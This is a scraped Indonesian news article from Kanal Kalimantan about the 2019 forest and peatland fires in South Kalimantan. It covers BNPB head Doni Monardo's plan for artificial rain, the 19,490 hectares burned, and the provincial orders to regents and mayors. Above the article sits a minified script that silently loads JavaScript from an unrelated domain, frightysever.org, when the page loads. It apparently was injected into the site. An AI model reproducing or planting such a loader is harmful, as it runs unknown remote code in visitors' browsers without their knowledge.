(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Bencana Kebakaran Hutan dan Lahan (Karhutla) di Kalimantan Selatan pada tahun 2019 ini telah ditetapkan dalam Status Siaga Darurat. Meskipun upaya pemadaman api telah dilakukan Tim Satgas Karhutla, namun kepungan kabut asap sudah menyelimuti hampir diseluruh wilayah Kalsel.
Hal ini pula yang membuat Kepala Badan Nasional Penanggulangan Bencana (BNPB), Letjen (Pur) Doni Monardo, menilai upaya pencegahan Karhutla pada tahun ini masih belum optimal.
Dijelaskannya, Karhutla di Kalsel khususnya di lahan rawa gambut hanya mampu dipadamkan saat memasuki musim penghujan. Untuk itu, disisa waktu ini BNPB akan menggunakan teknologi modifikasi cuaca untuk membuat hujan buatan. Baca: 80 Persen Kawasan Lahan Terbakar Akhirnya ‘Disulap’ Menjadi Kebun.
“BMKG memperkirakan pada pertengahan bulan Oktober kita sudah memasuki musim hujan. Disisa waktu ini kita kerahkan seluruh kekuatan, termasuk menggunakan teknologi modifikasi cuaca dibantu BPPT, BMKG, dan AU,” katanya saat memimpin rapat Koordinasi Satgas Karhutla Kalsel, Kamis (19/9) malam.
BNPB sendiri belum dapat memastikan kapan teknologi modifikasi cuaca tersebut akan dilaksanakan. Alasannya, sampai saat ini BMKG menyatakan bibit awan di Kalsel masih terpantau minim.
Ya, hujan buatan sangat dipengaruhi oleh banyak dan sedikitnya bibit awan yang berada di atas wilayah yang membutuhkan hujan. Semakin banyak awan, maka semakin banyak pula rangsangan yang dapat diberikan. Hal tersebut juga mempengaruhi curah hujan yang akan turun.
Kepala BNPB mengakui dengan adanya hujan buatan, pun tidak bisa memastikan api di lahan rawa gambut akan sepenuhnya padam. Dirinya meminta seluruh pejabat tinggi di Kalsel untuk mengerahkan seluruh komponen yang ada.
“Api di lahan rawa gambut tidak bisa dipadamkan hanya dengan hujan buatan. Hanya alam (Hujan) yang bisa memadamkannya. Yang bisa kita lakukan adalah meminimalisir luasan kebakaran. Tidak perlu ada diskusi. Sudah terlalu banyak kita rapat, waktunya tindakan nyata di lapangan,” tegasnya.
Tercatat luasan area yang terbakar di Kalsel sepanjang tahun 2019 sampai saat ini, mencapai 19,490 hektare. Dari jumlah tersebut, 1.949 hektare diantaranya merupakan lahan gambut. Total luasan ini membuat Provinsi Kalsel, menduduki posisi ke 5 dengan area yang paling luas terbakar setelah NTT, RIAU, Kalteng, dan Kalbar.
Di sisi lain, Sekda Prov Kalsel, Abdul Haris Makkie, mengatakan saat ini pihaknya sudah mengambil langkah dengan membobol iragasi agar tersalurnya air ke lokasi Karhutla di lahan rawa gambut. Dirinya juga meminta para Bupati dan Walikota agar terlibat langsung dalam pemadaman Karhutla.
“Pesan dari bapak Gubernur, dalam situasi saat ini seluruh Bupati Walikota diminta untuk turun langsung bersama masyarakat menjaga dan memadamkan Karhutla didaerah masing-masing,” katanya. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Belum beroperasi Angkutan Pelajar Gratis (APG) di sejumlah sekolah di Banjarbaru di… Read More
KANALKALIMANTAN.COM, JAKARTA - Empat buah gugatan dibacakan langsung dalam sidang sengketa hasil Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, JAKARTA - Sidang gugatan sengketa hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Operasional Angkutan Pelajar Gratis (APG) Banjarbaru dikabarkan belum melayani para pelajar ke… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin menetapkan Yamin - Ananda sebagai Wali… Read More
KANALKALIMANTAN.COM - Program 'Lingkar Takdir' merupakan salah satu acara yang memecahkan berbagai masalah kehidupan dari… Read More
This website uses cookies.